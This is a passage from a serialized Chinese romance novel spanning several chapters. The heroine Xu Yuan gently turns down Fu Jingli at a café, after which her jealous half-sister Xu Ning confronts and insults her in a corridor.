他看着许愿:“是我狭隘了,没想到你考虑得这么周全。”他端起咖啡杯,轻轻碰了碰许愿的杯沿,声音低沉却带着几分温暖,“刚才的话,是我多虑了,抱歉。” 许愿笑着摇头,眼底满是坦荡:“没关系,换做是我,或许也会有同样的担忧。” 她端起杯子喝了一口咖啡,或许是刚才加了点糖,这次的咖啡带着淡淡的甜意,正好中和了之前的苦涩,“其实我很感谢盛景炎昨晚的告白,不是因为那些广告牌,也不是因为墨澜的广告片,而是因为他愿意让我知道,我值得被这样高调地爱着,值得被全世界看见,这对我来说,比任何金钱都珍贵。” 她看着窗外,夜色里,华庭的灯光依旧明亮,远处的广告牌上,她的照片还在闪耀着光芒,像在无声地诉说着盛景炎的心意。 她转头看向傅京礼,眼底满是笑意:“至于你说的‘依靠’,我从来都不需要依靠任何人。我有我的工作,还有我身边的朋友们,盛景炎对我来说,是未来并肩同行的人,是能让我更开心、更温暖的人,而不是我生活的‘全部’。如果有一天,我们走不下去了,我也会笑着转身,继续过好自己的生活,毕竟,我值得被爱,更值得拥有属于自己的精彩。” 她就是这样看得开。 傅京礼看着她眼底的光芒,忽然觉得心里的苦涩散去了许多。 他看着许愿:“你说得对,感情里最珍贵的,从来不是‘永远’的承诺,而是此刻的真心,还有保护自己的能力。” 咖啡馆的暖光落在桌面上,将两人的影子拉得有些长。 傅京礼指尖无意识地摩挲着杯沿,内心依旧对盛景炎带着几分不喜,或许是因为过往的交集,或许是因为对许愿的在意让他多了几分审视,可他不得不承认,许愿说的每一句话都戳在了实处。 第1412章 苦涩 金钱的付出或许能伪装,但那些藏在细节里的用心、那份不顾一切的高调宣告,以及许愿自己那份不卑不亢的清醒,都让他无法再固执地用“有钱人的游戏”去轻视这份感情。 他看着许愿眼底那份坦然,忽然觉得自己的担忧有些多余。 她早已不是需要旁人替她担忧的姑娘,而是能稳稳握住自己幸福的人。 可即便承认了这些,傅京礼还是没能忍住,喉结滚动了一下,声音带着几分不易察觉的迟疑,轻轻开口:“许愿,爷爷说你对我的感情……”话只开了个头,像刚探出水面的荷叶,还没舒展开便被骤然打断。 “那是以前了。”许愿的声音清亮又干脆,没有半分拖泥带水。 她抬眸看向傅京礼,眼底满是坦荡,没有丝毫愧疚,也没有刻意的疏离:“我已经有了追求者,也有了未来会在一起的爱人,所以……你就当我以前说了很多胡话吧。” 她顿了顿,嘴角微微扬起一个温和的弧度,带着几分释然的笑意,继续说道,“而且你也有自己喜欢的人了不是吗?你放心,我不会对你造成困扰的,也祝你跟许宁长长久久,幸福一生。” 这番话说得太过自然,像在谈论天气一样平常,他整个人在此刻都愣住了,握着杯子的手指微微收紧,眼神里满是错愕与茫然。 他一时竟猜不透许愿是真心如此,还是带着几分玩笑的敷衍。 过往的时光里,他们之间并非没有过交集,爷爷也曾提过几句,可那些都像模糊的旧照片,从未真正清晰过。 而如今,许愿如此坦荡地划清界限,甚至主动送上祝福,这份坦然反倒让他有些手足无措。 傅京礼沉默了片刻,眼神里带着几分复杂的情绪,缓缓开口:“你知道许宁的身份?” 他的声音低了些,像是在确认,又像是在试探,眼底闪过一丝不易察觉的纠结。 许宁是许愿同父异母的妹妹,这层身份本就带着几分微妙的敏感,而他与许宁之间的感情,也并非外界所想的那般简单。 “我知道。”许愿点头,语气依旧平静,没有丝毫波澜,像在谈论一个无关紧要的人,“所以呢?”她微微歪了歪头,眼神里带着几分探究,“因为她是我那同父异母的妹妹,所以你要跟她分开吗?” 她的语气里没有责备,也没有刻意的打探,只是平静地抛出一个问题,像在引导傅京礼看清自己内心的真实想法。 傅京礼沉默了,眼底的纠结愈发明显。 他与许宁之间的感情,是他在忙碌的生活中偶然寻到的一份温暖,那份心动并非刻意,而是在相处中慢慢滋生的。 可许宁的身份,以及过往家族里那些复杂的纠葛,却像无形的枷锁,让他在面对许宁时,总带着几分小心翼翼。 而今天这场与许愿的见面,本就是爷爷安排的“相亲”,他本该明确拒绝,却还是来了。 或许是因为对过往的一丝念想,或许是因为对现实的几分逃避,可此刻被许愿这样直白地挑明,他才忽然意识到自己的矛盾与不妥。 “你看,”许愿看着傅京礼沉默的模样,轻轻叹了口气,语气里带着几分温和的劝解,“其实我并不清楚你今天来找我的原因。”她眼神坦荡,直视着傅京礼的眼睛,一字一句地说,“你心里有许宁,却要跟我见面,傅京礼,你应该知道我们今天不仅仅是单纯的见面,更是相亲。” 她的声音很轻,却带着一种不容置疑的清醒,“我开口说的那么清楚,你就应该明白我的选择了。” 她端起咖啡杯,轻轻抿了一口,眼底满是坦然:“我选了盛景炎,这份选择不是一时冲动,而是经过深思熟虑的。我喜欢他,他也喜欢我,他会是我未来的爱人。” 她的眼神坚定而坦荡,没有丝毫勉强,也没有刻意营造的“大度”。 她带着几分郑重的承诺开口:“所以你可以继续跟你的许宁在一起,没有人会去破坏你们的感情。” 感情从来都是两个人的私事,是两颗心彼此靠近的纯粹联结,不该有第三个人的介入,更不该被外界的期待、家族的牵绊或是过往的模糊念想所干扰。 她尊重傅京礼与许宁的感情,尊重他们之间那份或许带着复杂身份的羁绊。她不愿做那个打破平衡的人,更不愿让任何一段感情在纠缠中变质。 傅京礼听着她的话,一瞬有些恍惚。 他下意识地顺着她的话去追问自己。 我真正在意的,是有人会破坏我和许宁的感情吗? 答案在他心底翻腾,却像被雾霭笼罩的山峦,看不真切。 他承认自己对许宁是有好感的,那份心动是在相处中慢慢滋生的暖意,可这份“喜欢”究竟有多深? 是足以让他坚定地对抗外界的声音,还是只是一份在孤独时刻寻求的慰藉? 他忽然意识到,自己从未真正剖开过这份感情,也从未想过如果有人真的介入,自己会如何反应。 他甚至有一瞬间,心底闪过一个荒唐的念头,如果许愿真的能插足他们之间的感情就好了。 他猛地惊觉,这份“希望”,或许不是对许宁感情的坚定,而是对过往与许愿之间那份未说清、未道明的遗憾的留恋,是对自己当下选择的不确定。 可这份念头刚冒出来,就被他心底的理智压了下去。 许愿早已有了盛景炎,有了她笃定的未来,而他自己,又凭什么用这份荒唐的期待,去搅乱两段本该清晰的感情? 他看着许愿坦荡的眼眸,忽然觉得自己的恍惚可笑又可悲,他甚至还没完全理清自己对许宁的感情,却已经在心底偷偷觊觎着别人的幸福,这份自私让他心里泛起一阵难堪。 傅京礼又端起咖啡杯,指尖触到微凉的杯壁,试图用这份凉意让自己清醒。 他喝了一口咖啡,苦涩的味道在舌尖散开,像此刻他混乱的心绪。 第1413章 值得最好的 沉默片刻后,他终于开口,声音带着一丝不易察觉的试探,每一个字都像是在小心翼翼地叩问:“许愿,你真的确定是盛景炎吗?” 这句话看似在问她,实则更像是在问自己。 他在问自己是否该放弃那份荒唐的念想,也在试探着,是否还有一丝微弱的可能。 那句“我可以吗”,虽未说出口,却像藏在话里的暗流,在两人之间的空气中隐隐涌动,带着几分不甘与迷茫。 许愿是聪明人,她听出了话里的画外音,听出了那份隐藏的试探与不甘。 她没有回避,也没有刻意回避这份复杂,只是嘴角扬起一个温和却坚定的微笑,回应道:“我已经给过你答案了,我未来的爱人是盛景炎。” 她接着说道,语气里带着几分洒脱与坦然:“如果我赌错了,那就是我活该吃个教训了。”这句话没有丝毫怨怼,也没有刻意的悲情,反而透着一种清醒的劲儿。 她知道自己在做什么,也清楚这份感情里或许会有风险,可她依然愿意赌一把。 因为爱情本就是一场带着未知的旅程,没有绝对的“确定”,只有“我愿意”。 如果最终没能走到最后,她也不会后悔自己的选择,只会坦然接受这份“教训”,然后带着这段经历继续前行。 这份洒脱,不是对感情的轻视,而是对自我选择的负责,是对“爱”最纯粹的诠释。 傅京礼看着她眼底那份坚定与洒脱,心里最后一点荒唐的念想彻底消散了,不,或者说不是消散了,而是更想……更想得到许愿了。 傅京礼望着此刻近在咫尺的许愿,喉间发堵,此刻甚至有一瞬间说不出话。 他轻轻点头,声音低沉却带着几分释然,像冬日里消融的积雪,将过往的纠结与迷茫都缓缓冲散。 那句“我明白了”,不是敷衍的回应,而是历经内心挣扎后的清醒认知。 他终于看清了自己对许愿的那份模糊念想不过是遗憾与不甘的投射,他端起咖啡杯,杯沿与许愿的杯子轻轻相碰,发出清脆而柔和的声响,像为这场坦诚的对话落下了一个体面的注脚,也像在无声地告别过往的纠葛,致敬彼此的清醒。 “许愿,”傅京礼的目光落在她眼底,带着几分真挚的关切,语气里没有丝毫的刻意,只是纯粹地想要表达自己的心意,“我希望你知道,我是真的没有恶意。” 他的声音很轻,却字字清晰,“我只是希望你在做决定前,都全部想清楚一些。”他顿了顿,眼神里满是认真,像是在提醒一个曾经在意的故人,“你优秀、漂亮,本就该站在最好的位置,拥有最纯粹的幸福,而不是在这里一点点尝试,去赌一份未知的结果。” 他的语气里带着几分坚定,像是在守护一份珍贵的期待,“有些人,配不上就是配不上,这辈子都配不上你,你就不该给他机会。”他不愿看到这样耀眼的许愿将自己困在一段不值得的感情里。 许愿垂眸,指尖轻轻摩挲着温热的杯壁,缓缓喝了一口咖啡。 苦涩的滋味在舌尖散开,却让她的心境愈发平静。 她听着傅京礼的话,没有反驳,也没有刻意解释,只是任由那杯液体顺着喉咙滑下,将心底的思绪也梳理得愈发清晰。 咖啡馆里的阳光依旧温暖,透过玻璃窗洒在桌面上,将两人的影子拉得悠长,空气里弥漫着淡淡的咖啡香,像被阳光浸透的棉絮,柔软又舒适。 两人之间的空气早已褪去了之前的紧张与试探,渐渐恢复了平静,像暴风雨过后的湖面,澄澈而安宁。 许愿望着窗外,街道上行人匆匆,车辆川流不息,阳光在树叶间跳跃,洒下斑驳的光影。 她眼底满是坦然,没有丝毫的动摇,也没有刻意的伪装,只是平静地面对自己的选择。 她转过头,看向傅京礼,嘴角扬起一个温和却坚定的弧度,语气轻缓却带着不容置疑的笃定:“答案我已经告诉你了,因为盛景炎肯为我花钱,他能给我很多钱,也能给我很多爱。” 她没有回避“钱”这个敏感的字眼,反而坦荡地将其纳入自己的选择理由里,这份坦荡反而透着一种清醒的真诚,“以后就算没有爱了,我也还有钱,我就是这样现实的人。” 她的话语没有丝毫的羞愧,也没有刻意的炫耀,只是平静地陈述着自己的价值观。 她不否认金钱在感情里的作用,也不否认自己对现实的考量,这份坦然,是她对自己人生的负责。 她接着说道,语气里带着几分释然与洒脱:“至于配得上配不上这件事……我自己清楚配不配得上,我喜欢,我觉得适合,不就足够了吗?”这句话像一颗落在棋盘上的棋子,落子无悔,带着一种掌控人生的底气。 她不需要外界去评判盛景炎是否“配得上”她,也不需要旁人用世俗的标准去衡量他们的感情。 在她心里,“喜欢”是感情的起点,“适合”是感情的基石,而这些,只有她自己最清楚。 她尊重自己的感受,也尊重盛景炎的付出,这份清醒与自我认知,让她在感情里始终保持着独立与从容。 许愿看得很透彻,她并非将“钱”作为选择盛景炎的唯一标准,而是将其视为感情里不可忽视的一部分。 一方面,盛景炎确实对她很好。 那些深夜里的陪伴,那些不经意间的关心,那些在她遇到困难时毫不犹豫的援手,都像细碎的星光,一点点照亮了她的生活。 而另一方面,盛景炎确实肯为她花钱,这些不是浮于表面的炫耀,而是他表达爱意、给予安全感的方式,是他愿意为她付出、愿意与她共同面对未来的承诺。 那些天价广告,盛景炎说投就投了,没有丝毫犹豫,也没有刻意的讨好。 他不是用金钱去“买”许愿的爱,而是用行动告诉她:“你值得最好的,我愿意为你付出最好的。” 甚至许愿要做的项目,盛景炎也是闭着眼睛投资,问都不问。 第1414章 祝你……幸福 这份“不问”,不是盲目,而是一种无条件的信任,是将她的人生规划纳入自己考量的尊重,是他愿意陪她一起闯荡、一起承担风险的决心。 这些细节里的付出,比任何华丽的告白都更动人,也让许愿清楚地知道,盛景炎的“爱”是实实在在的,是能落地的,是能让她安心的。 她清楚地知道,感情里没有绝对的“纯粹”,也没有完美的“配得上”。 世俗的标准、外界的评判,从来都不是衡量一段感情是否值得的标准。 她选择盛景炎,是因为他的好、他的付出、他对她的爱与尊重,这些都让她觉得安心,让她愿意与他一起走下去。 至于“配得上”与否,她心里早已有了答案。 只要两人彼此喜欢,彼此觉得适合,只要盛景炎的付出是真心的,只要她能在这段感情里保持自我、获得幸福,那么,这就足够了。 傅京礼听着她的话,眼底的敬佩愈发明显。 他明白,许愿的“现实”并非市侩,而是一种清醒的智慧。 她是拜金吗?当然不是,那些许愿的追求者都想为她花钱,但许愿并不需要这些。 且许愿知道自己想要什么,也清楚盛景炎能给她什么,她不被外界的声音所左右,也不刻意追求所谓的“纯粹爱情”,而是用自己的标准去衡量、去选择。 这份坦荡与清醒,比任何刻意的“大度”都更动人。 甚至于许愿自己都清楚选择了盛景炎,选择了那份带着高调告白的热烈,也选择了可能面对的风雨。 她愿意赌,也愿意承担赌错的后果,因为这份选择,是她对“爱”最真诚的回应。 傅京礼突然就很想笑,那笑意从眼底漫上来,带着点猝不及防的荒诞感,却又沉甸甸地压在唇角,最终只化作一声轻得几乎听不见的叹息。 他笑的不是别人,正是自己。 指尖无意识地摩挲着杯沿,指腹蹭过那道细碎的釉纹,像在描摹这场见面里所有错位的心思。 他来之前想得清晰又笃定,揣着满心的期待,甚至在脑海里演练过无数遍开口的措辞,明明是想来“毛遂自荐”的。 想告诉许愿,他愿意放下过往的顾虑,愿意认真地走进她的世界,愿意成为那个能给她偏爱与安稳的人。 可到头来,这场精心准备的见面,结局却成了此刻这般。 他成了倾听者,成了祝福者,成了那个看着她坚定选择别人、然后笑着说“我明白”的旁观者。 那笑意落在唇角,带着几分苦涩之意,像喝了一口没加糖的黑咖啡,从舌尖蔓延到心底。 他忽然觉得自己的期待有些可笑,像是在一场早已定好剧本的戏里,执拗地想改写角色的命运,却忘了剧本的主角从来都不是他。他看着许愿眼底的坦然,听着她对盛景炎的笃定,才真正意识到,他来得太晚了,也错得太彻底。 许愿已经找到了属于她的答案,而他,不过是这场感情里迟来一步的过客,那些没说出口的“毛遂自荐”,还没来得及开口,便已成了无用的沉没成本。 这份苦涩,不是怨怼,也不是不甘,而是对自己执念的清醒认知。 原来有些错过,从一开始就注定了结局。 “不管你做出什么决定,我都尊重你的选择。”傅京礼的声音很轻,却带着一种沉淀后的平静,像暴风雨过后的海面,虽有余波,却已归于安宁。 这句话不再是之前的试探,也不是刻意的体面,而是他真正放下的证明。 他终于明白,感情从来不是单方面的执念能成全的,也不是靠“尊重”就能挽回的。 许愿的选择早已明确,而他的尊重,是他此刻唯一能给的,也是最该给的。 他看着许愿,眼底的迷茫与不甘彻底褪去,只剩下一种释然的坦诚。 他不再纠结于“如果当初”,也不再幻想“或许可以”,只是平静地接受这份结局。 许愿弯了弯眼睛,笑意浅浅地落在眉梢,像春风拂过湖面漾开的涟漪。 她看着傅京礼眼底的平静,心里清楚得很。 傅京礼不是愚蠢的人,他能听懂她话里的笃定,也能看清这场感情里各自的立场。 她知道,他不会再继续盯着自己了。 这份“不再盯着”,不是刻意的疏远,而是成年人之间最体面的默契。 他明白,执着于一个早已做出选择的人,只会让彼此都陷入尴尬与痛苦,而真正的喜欢,应该是祝福,是希望对方能获得幸福,哪怕这份幸福里没有自己。 许愿心里没有丝毫的愧疚,也没有刻意的回避,只是坦然地接受这份“结束”。 她清楚地知道,傅京礼的放手,不是因为不爱,而是因为懂得感情需要双向奔赴,也懂得尊重是感情里最基本的底线。 咖啡馆里的阳光依旧温暖,洒在两人身上,将方才的苦涩与释然都镀上了一层柔和的光晕。 窗外的行人依旧匆匆,街道上的车流依旧川流不息。 傅京礼端起杯子,又喝了一口咖啡,苦涩的味道依旧,却不再让人觉得难耐。 许愿也端起杯子,轻轻抿了一口咖啡,眼底满是坦然。 她看着窗外的阳光,嘴角的笑意愈发柔和。她知道自己做出了选择,也清楚这份选择带来的结果。 她得到了盛景炎的偏爱与付出,也失去了傅京礼可能的靠近,可她从未后悔。 因为她清楚地知道,自己的选择是基于真心与现实的平衡,是她想要的幸福。 而此刻,看着傅京礼的释然,她心里也只剩下平静的祝福。 她希望他能放下过往,找到属于自己的幸福。 这场对话的结尾,没有刻意的告别,也没有冗长的客套,只是两人相视一笑,便各自收拾好心情,准备离开。 傅京礼站起身,微微颔首:“那我先走了,祝你……幸福。” 许愿也起身,笑着回应:“谢谢,你也是。”两人转身的瞬间,背影都带着一种释然的轻松,仿佛卸下了过往的包袱,走向了各自的方向。 第1415章 不会让你得逞的 傅京礼走在街道上,阳光洒在他的肩头,暖意融融。 他回头看了一眼咖啡馆的方向,玻璃窗后已看不到许愿的身影,可他心里却格外平静。 …… 此刻的停车场里,盛景炎正靠在车门上,指尖轻轻敲着手机屏幕。 他收到了许愿发来的“小橘猫抱热牛奶”的表情包,眼底满是笑意。 他正想着等会儿要买什么牌子的热牛奶,忽然手机震动了一下,是许愿发来的消息:“聊完了,等我,我要喝热牛奶。” 盛景炎看着那行字,嘴角的弧度瞬间放大,他明白,这是跟傅京礼谈完了。 谈完了还要喝热牛奶,说明许愿其实没怎么吃东西更没怎么喝东西,一看就是傅京礼准备的东西不合许愿这祖宗的口味了。 他立刻回复:“好,等你,热牛奶已经准备好了。”他打开车门,坐进驾驶座,启动车子,暖风缓缓吹出。 许愿从包厢出来,指尖还残留着咖啡杯的余温。 她本只是想找个安静的角落简单补个妆,镜中眉眼微倦,却不想刚走到走廊拐角的化妆间门口,便被人猛地拽住手腕。 那力道带着十足的恶意,将她往墙壁的方向狠狠一带,后背撞上冰凉的瓷砖时发出“咚”的一声闷响,震得耳膜都在嗡鸣。 “谁?!”许愿脸色瞬间沉了下来,眉宇间满是被打扰的不悦与警惕,抬眸的瞬间,视线撞进一双猩红的眼眸里。 竟然是许宁。 空气仿佛在这一刻凝固,许愿瞳孔微缩,心底涌起一丝荒谬的错愕。 她想过无数种可能的相遇场景,却唯独没料到会在这样狼狈的时刻与许宁对上。 走廊的灯光偏暗,落在许宁脸上,勾勒出她紧绷的下颌线,那双平日里温婉的眼眸此刻却像淬了毒的刀刃,死死地盯着许愿,连呼吸都带着急促的颤抖。 不等许愿开口质问,许宁猛地扬起手,带着风声的巴掌径直朝着她的脸颊甩来,动作狠厉得没有丝毫留情。 许愿几乎是本能地侧头避开,同时反手擒住许宁的手腕,指节因用力而泛白,将那只挥舞的手牢牢攥在半空,声音冷得像冰:“许宁,你发什么疯!” 她的语气里满是压抑的怒火,方才在包厢里与傅京礼的坦诚早已被这突如其来的袭击打碎,只剩下被打扰的烦躁与被冒犯的恼怒。 她看着许宁那张扭曲的脸,心底的疑惑更甚。 许宁来做什么?她们之间本无深仇大恨,可这副恨不得将她撕碎的模样,像极了被逼到绝境的困兽。 可许宁的怒火却像被点燃的干柴,彻底爆发开来。 她被许愿攥住的手腕剧烈挣扎着,指甲在许愿的皮肤上划出浅浅的红痕,声音尖利得几乎要刺破走廊的寂静,每一个字都带着咬牙切齿的恨意:“许愿!你可真是不要脸!”她的胸膛剧烈起伏着,眼底的猩红愈发浓重,像是有两团火焰在燃烧,“已经有很多人都在喜欢你、爱着你了!傅京礼喜欢你,盛景炎也喜欢你!为什么还要继续跟我抢夺傅京礼!你到底有没有底线!” 她的声音陡然拔高,近乎怒吼,连带着走廊里的回音都在震颤。 那股愤怒里掺杂着不甘、嫉妒,还有被背叛的痛苦,像潮水般将她淹没。 她看着许愿那张平静的脸,心底的委屈与愤恨再也抑制不住:“你的男人不是盛景炎吗!你去找盛景炎啊!你不要围着傅京礼转!你这个贱人!你到底想干什么!” 许宁的声音里带着哭腔,却又被怒火强行压了下去,显得格外撕裂。她试图再次挣脱许愿的钳制,身体往前倾,恨不得将所有的愤怒都倾泻到许愿身上:“傅京礼是我的!从一开始就是我的!你凭什么!凭什么出现在我们中间!你明明有盛景炎了,为什么还要来招惹他!你是不是故意的?是不是就想看着我们不好过?!” 她的眼泪终于忍不住滚落下来,却不是委屈的泪水,而是愤怒与绝望交织的产物。 她看着许愿那双平静的眼眸,只觉得那里面满是嘲讽,满是对她的不屑,这让她愈发疯狂:“你别装了!我知道你在想什么!你就是想看着我们两个为你争风吃醋!你就是享受这种被追捧的感觉!你这个不要脸的贱人!你给我离傅京礼远一点!离我们远一点!” 许宁的声音越来越尖利,每一个字都像是从喉咙里硬生生挤出来的,带着撕裂的痛感。 她的身体还在剧烈挣扎着,手腕被许愿攥得生疼,可她却仿佛感觉不到疼痛,只想着挣脱束缚,再给许愿一记耳光,再将她所有的愤怒都宣泄出来。 她的眼底只剩下一片猩红的疯狂,像是被嫉妒和不甘彻底吞噬了理智,只剩下最原始的愤怒在驱使着她。 许愿被这突如其来的怒火震得有一瞬的失神,看着许宁那副歇斯底里的模样,心底的烦躁愈发浓重。 她加重了手上的力道,将许宁的手腕攥得更紧,声音依旧冷硬,却带着一丝警告:“许宁,你清醒一点!我什么时候抢夺傅京礼了?我和傅京礼之间早就说清楚了!是他自己来找我谈话,我只是在回应他而已!你凭什么来指责我?” 她看着许宁那张因愤怒而扭曲的脸,心底也涌起一股怒火。 她明明已经坦荡地做出了选择,明明已经放下了过往的牵绊,可许宁却像疯了一样将所有的错都归结到她身上,这让她觉得荒谬又可笑。 她看着许宁那双满是恨意的眼眸,一字一句地说:“我有自己的感情,我有选择的权利!傅京礼也有选择的权利!你凭什么说我在抢夺?你凭什么说我是贱人?许宁,你别太过分了!” 许宁听到这话,像是被戳中了痛点,挣扎得愈发剧烈,声音也愈发尖利:“选择?!你有什么选择!你明明有盛景炎了!你为什么还要和傅京礼见面!你是不是想脚踏两只船!你是不是觉得我们两个都该围着你转!你这个不要脸的女人!我告诉你,傅京礼是我的!我不会让你得逞的!” 第1416章 不觉得自己可笑吗? 许宁的眼泪不停地滚落,却丝毫没有减弱她的愤怒,反而让她的怒火愈发炽烈。 她看着许愿那双冷静的眼眸,只觉得那里面满是挑衅,满是对自己感情的践踏,这让她彻底失去了理智:“我告诉你,许愿!你要是再敢靠近傅京礼一步,我绝对不会放过你!我会让你付出代价!我让你再也见不到他!” 许宁的声音带着嘶哑的怒吼,像是濒死的野兽发出的最后咆哮,每一个字都带着极致的恨意。 她的身体还在剧烈挣扎着,指甲在许愿的手腕上划出更深的红痕,仿佛要将所有的不甘与愤怒都刻进许愿的皮肤里。 她的眼底只剩下一片猩红的疯狂,像是被嫉妒的藤蔓彻底缠绕,只剩下最原始的愤怒与占有欲在驱使着她,只想将许愿从傅京礼的世界里彻底抹去。 走廊里的灯光依旧偏暗,却照得两人的身影格外清晰。 许宁的怒吼声在走廊里回荡,带着撕裂的痛感,像一把钝刀,一点点割裂着空气里的平静。 她的愤怒里满是不甘与嫉妒,满是对感情的执着与偏执——她将傅京礼视为自己的所有物,将许愿的出现视为对这份感情的亵渎,所以才会不顾一切地爆发,用最恶毒的语言去攻击她,用最疯狂的举动去捍卫自己的“领地”。 许愿看着许宁那副疯狂的模样,只觉得荒谬又无奈。 她从未想过要抢夺傅京礼,也从未想过要伤害许宁,可许宁却像疯了一样将所有的错都归结到她身上。 她攥着许宁手腕的指节愈发用力,仿佛要将所有的烦躁都发泄出来,声音冷硬得像冰:“许宁,你够了!你再这样无理取闹,别怪我不客气!” 两人的对峙像一场无声的战争,怒火与不甘在空气中激烈碰撞,走廊里的寂静被彻底撕裂,只剩下许宁那带着哭腔的怒吼和许愿压抑的冷硬声音,在偏暗的灯光下,显得格外刺眼又荒诞。 许宁的疯狂与偏执,许愿的烦躁与愤怒,都在这一刻交织在一起,像一团乱麻,缠绕着两人的理智,也让这场相遇,成了最狼狈的撕扯。 许宁看着许愿那副冷静的模样,只觉得那里面满是嘲讽,满是对她的不屑,这让她愈发疯狂。 她猛地抬起腿,想要踹向许愿,却被许愿提前察觉,侧身避开,同时用力将她的手腕往墙壁上按,声音冷得刺骨:“许宁,我再说一遍,别逼我!” 许宁被按在墙壁上,手腕的疼痛让她倒吸一口凉气,可眼底的愤怒却丝毫没有减弱,反而愈发炽烈。 她看着许愿,声音嘶哑得几乎不成调:“许愿!你这个贱人!我不会放过你的!我绝对不会放过你的!你等着!我一定会让你后悔的!” 她的声音带着极致的恨意,许愿则紧抿着唇,眼底满是厌恶与烦躁。 她看着许宁那副疯狂的模样,只觉得疲惫。 她不想再和她纠缠下去,只想尽快结束这场闹剧,便用力将许宁的手腕一甩,声音冷硬:“随你便!” 说完,许愿不再看许宁一眼,转身打算快步离开,高跟鞋踩在地上的声音清脆又决绝,像在宣告这场闹剧的结束。 许宁死死盯着许愿那决绝的背影,猩红的眼眸里满是不甘与疯狂。 她看着许愿一步步远离,像是要彻底从她的世界里消失,心底的那根弦骤然绷断,一股莫名的冲动驱使着她往前冲。 她要拦住许愿,要质问她到底为什么要出现在傅京礼的世界里,要让她给一个交代! 哪怕拼尽全力,她也要将许愿拉回这场感情的漩涡里,哪怕只是为了让傅京礼看到许愿的“真面目”。 可走廊的地面光滑得像镜面,她的高跟鞋鞋跟又细又高,在疾步追赶时根本无法稳住重心。 就在她伸出手想要抓住许愿衣角的瞬间,脚踝猛地一崴,身体瞬间失去了平衡,像断了线的木偶般重重栽倒在地上。 “砰”的一声闷响在寂静的走廊里格外刺耳,她的膝盖重重磕在冰冷的地面上,剧痛瞬间蔓延开来,连带着脚踝处也传来钻心的疼。 更狼狈的是,那只细高跟的鞋子竟直接从脚上飞了出去,落在不远处的地面上,鞋跟断裂的声音清脆又刺耳,像是她此刻疯狂情绪的破碎回响。 “啊——!”许宁忍不住发出一声凄厉的哀嚎,身体蜷缩成一团,双手死死捂住疼得发麻的脚踝,眼泪瞬间夺眶而出,不再是之前愤怒的泪水,而是纯粹因疼痛而流出的生理反应。 她脸色苍白如纸,额角渗出细密的冷汗,每一次呼吸都牵扯着脚踝处的疼痛,让她忍不住发出断断续续的惨叫:“疼……好疼……”可即便如此,她依旧死死盯着许愿离去的方向,眼神恶狠狠的,带着极致的不甘与执念。 哪怕自己摔得狼狈不堪,哪怕疼得浑身发抖,她依旧要许愿给她一个交代,仿佛只要许愿不回头,这场纠缠就永远不会结束,她就会一直陷在这无边的痛苦里。 许愿的脚步在听到哀嚎声时顿住了。 她缓缓转过身,看着地上蜷缩成一团的许宁,眼底没有丝毫怜悯,只有一片平静到近乎冷淡的审视。 此刻的许宁,没了方才的疯狂与嚣张,只剩下狼狈与疼痛,可那双眼睛依旧死死盯着她,像淬了毒的钉子,恨不得将她钉在原地。许愿缓缓走近,居高临下地看着眼前这个因疼痛而颤抖的人,唇角勾起一抹极淡的弧度,那弧度里没有嘲笑,只有一种看透本质的清醒与疏离。 “许宁,”许愿的声音平静得像一潭深水,却带着不容置疑的力量,“你自己不觉得自己可笑吗?” 这句质问像一根细针,精准地刺破了许宁用愤怒与偏执筑起的外壳。 她愣怔了一瞬,随即抬起头,眼泪混着冷汗滑落,声音带着因疼痛而产生的颤抖,却依旧尖利:“什么……什么意思?你说谁可笑?!我告诉你许愿,你别以为你这样就能让我放过你!” 第1417章 你的心思我看得一清二楚 许愿垂眸,目光落在许宁那双依旧充满恨意的眼睛上,缓缓开口,每一个字都清晰而冷静:“没有人要去跟你争,去跟你抢。你这样激动,是因为你自己不够自信。” 她的声音不疾不徐,像在陈述一个再简单不过的事实,却像一把锋利的刀,直直刺向许宁心底最脆弱的地方,“你在慌张,你在害怕,你自己心里清楚,你的外貌也好,内在也好,包括你的出身、学历,没有一样拿得出手的。你清楚一旦傅京礼真正了解你,真正看清你的全部,一定会跟你分开。” 许愿的声音里没有丝毫情绪起伏,却像一记重锤,狠狠砸在许宁的心上。 她看着许宁那瞬间变得苍白的脸色,继续说道:“所以你才会将一切错处都推到我身上,把我当成你感情里失败的借口,当成你无法留住傅京礼的理由。可你有没有想过,我根本就没想跟傅京礼在一起?你们两人的私事,能不能不要放到我这里来议论?你跟傅京礼如何,是你们之间的事,与我无关,哪怕是你跟傅京礼恋爱,甚至结婚,都跟我没有任何关系。你听清楚了没有?” 许愿的话语像冰冷的潮水,一点点漫过许宁的理智。 她看着许愿那双平静的眼眸,心底的愤怒与不甘再次被点燃,可脚踝处的剧痛却让她连站起来的力气都没有,只能仰着头,用尽全身的力气反驳:“你胡说八道!我不相信!你绝对是想让我放松警惕,然后趁机去勾搭傅京礼!你的心思我看得一清二楚!” 许宁的声音里带着哭腔,却又被愤怒强行撑起,显得格外撕裂。 她看着许愿,眼底满是偏执与执念:“只要是有脑子的人都知道,盛景炎和傅京礼之间,应该去选择傅京礼!傅京礼多好啊,他温柔、体贴,对我也好,不像盛景炎那样是个海王渣男!你肯定是觉得傅京礼比盛景炎优秀,所以才故意说这些话来稳住我,想让我放松警惕,然后你就能趁机接近傅京礼!你别以为我不知道你的打算!你就是想脚踏两只船,想看着那两个两个为你争风吃醋!你这个虚伪的贱人!” 她的声音尖利得像玻璃划过铁皮,带着极致的恨意与不甘。 脚踝的疼痛让她浑身颤抖,可她依旧死死盯着许愿,仿佛只要许愿露出一丝破绽,她就会再次冲上去撕扯。 她的眼泪不停地滚落,混着冷汗滴在地上,可那双眼睛里的疯狂与执念却丝毫没有减弱,反而愈发炽烈。 在她心里,傅京礼是她唯一的希望,是她能抓住的“优秀”的象征,而许愿的出现,就是对她这份希望的威胁,所以她宁愿相信许愿是在欺骗她,也不愿承认自己感情里的问题。 许愿看着许宁那副偏执的模样,心底只剩下无尽的疲惫与无奈。 她摇了摇头,语气里带着一丝淡淡的嘲讽:“许宁,你到现在还在自欺欺人。你觉得我是在稳住你?你觉得我是想勾搭傅京礼?那你有没有想过,我为什么要这么做?我有盛景炎,我和盛景炎之间感情稳定,我根本不需要去勾搭傅京礼。而且,你觉得傅京礼是那种会被别人轻易勾搭走的人吗?他有自己的判断,有自己的感情,不是你想象中那样可以被随便左右的。” 